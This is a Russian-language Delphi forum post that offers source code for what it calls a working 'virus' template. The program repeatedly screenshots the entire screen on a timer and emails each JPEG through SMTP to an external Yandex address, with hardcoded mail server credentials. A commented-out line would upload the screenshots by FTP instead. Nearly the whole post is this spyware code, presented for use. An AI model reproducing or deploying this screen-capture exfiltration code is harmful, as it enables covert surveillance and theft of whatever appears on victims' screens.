Сырой но рабочий типа вирус (шаблон) отправщик скринов с экрана на почту

Аватар пользователя
admin
Администратор
Сообщений: 160
Зарегистрирован: 10 июн 2017, 16:49
Откуда: Rakun City
Контактная информация:

Сырой но рабочий типа вирус (шаблон) отправщик скринов с экрана на почту

Сообщение admin » 23 апр 2018, 13:04

исходник
delfin_vir_good.rar


Код: Выбрать все


unit FTP;

interface

uses
  Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
  Dialogs, ExtCtrls, JPEG, ImgList, StdCtrls, IdBaseComponent, IdComponent,
  IdTCPConnection, IdTCPClient, IdFTP, IdMessageClient, IdPOP3, IdSMTP, IdMessage, IdAntiFreezeBase, IdAntiFreeze;

type
  TForm1 = class(TForm)
    Timer1: TTimer;
    IdFTP1: TIdFTP;
    IdPOP31: TIdPOP3;
    IdSMTP1: TIdSMTP;
    Button1: TButton;
    IdMessage1: TIdMessage;
    IdAntiFreeze1: TIdAntiFreeze;
    Image1: TImage;
    Timer2: TTimer;
    procedure Timer1Timer(Sender: TObject);
    procedure Button1Click(Sender: TObject);
 
  private
    { Private declarations }
  public
    { Public declarations }
  end;

var
  Form1: TForm1;

implementation

{$R *.dfm}

procedure TForm1.Timer1Timer(Sender: TObject);
var
att:TIdAttachment;
Ato:string;
Time: TDateTime;
Bmp: TBitmap;
TmpCanvas: TCanvas;
CRect: TRect;
jpgImg: TJPEGImage;
begin
Time := now();
TmpCanvas := TCanvas.Create;
jpgImg := TJPEGImage.Create;
TmpCanvas.Handle := GetDC(0);
Bmp:= TBitmap.Create;
Bmp.Width := Screen.Width;
Bmp.Height := Screen.Height;
Bmp.PixelFormat := pf24bit;
CRect := Rect(0,0,Screen.Width -1, Screen.Height -1);
BitBlt(Bmp.Canvas.Handle,0,0,Screen.Width,Screen.Height,GetDc(0), 0, 0,SRCCOPY);
image1.Picture.Assign(Bmp);
Bmp.Canvas.CopyRect(CRect,TmpCanvas,CRect);
////if not DrawIcon(Bmp.Canvas.Handle,Mouse.CursorPos.X,Mouse.CursorPos.Y,GetCursor) then
jpgImg.Assign(Bmp);
jpgImg.CompressionQuality:=30;
jpgImg.SaveToFile('screen657665'+FormatDateTime('hh_mm_ss',Time)+'.jpg');
TmpCanvas.Free;
Bmp.Free;
jpgImg.Free;







    idSmtp1.Host:='mail.hostland.ru';
idSmtp1.Port:=25;
idSmtp1.Username:='logs@gansta-paradise.com';
idSmtp1.Password:='123412345';
idMessage1.Body.Text:='fgdfgdfgdfgfgsdfg32423423';
idMessage1.From.Text:='logs@gansta-paradise.com';
idMessage1.Recipients.EMailAddresses:='ooo-ses@yandex.ru';
idMessage1.Subject:='te';



TIdAttachment.Create(Form1.idMessage1.MessageParts,'screen657665'+FormatDateTime('hh_mm_ss',Time)+'.jpg');
idSmtp1.Disconnect();

idSmtp1.Connect();

if idSmtp1.Connected=true then
begin
idSmtp1.Send(idmessage1);
idSmtp1.Disconnect();
////ShowMessage('ushlo!');

end
else
ShowMessage('PIDR  VKLUCHI SET`!');
end;







/////IdFTP1.Put('screen657665.jpg','images/screen'+FormatDateTime('hh_mm_ss',Time)+'.jpg',true);






procedure TForm1.Button1Click(Sender: TObject);
begin

idSmtp1.Host:='mail.hostland.ru';
idSmtp1.Port:=25;
idSmtp1.Username:='logs@gansta-paradise.com';
idSmtp1.Password:='123412345';
idMessage1.Body.Text:='fgdfgdfgdfgfgsdfg32423423';
idMessage1.From.Text:='logs@gansta-paradise.com';
idMessage1.Recipients.EMailAddresses:='ooo-ses@yandex.ru';
idMessage1.Subject:='te';



TIdAttachment.Create(Form1.idMessage1.MessageParts,'E:/screen.jpg');


idSmtp1.Connect();

if idSmtp1.Connected=true then

idSmtp1.Send(idmessage1);
idSmtp1.Disconnect();
 ////ShowMessage('ushlo!');

end;


end.
У вас нет необходимых прав для просмотра вложений в этом сообщении.

Вернуться в «Delphi7»

Кто сейчас на форуме

Количество пользователей, которые сейчас просматривают этот форум: нет зарегистрированных пользователей и 1 гость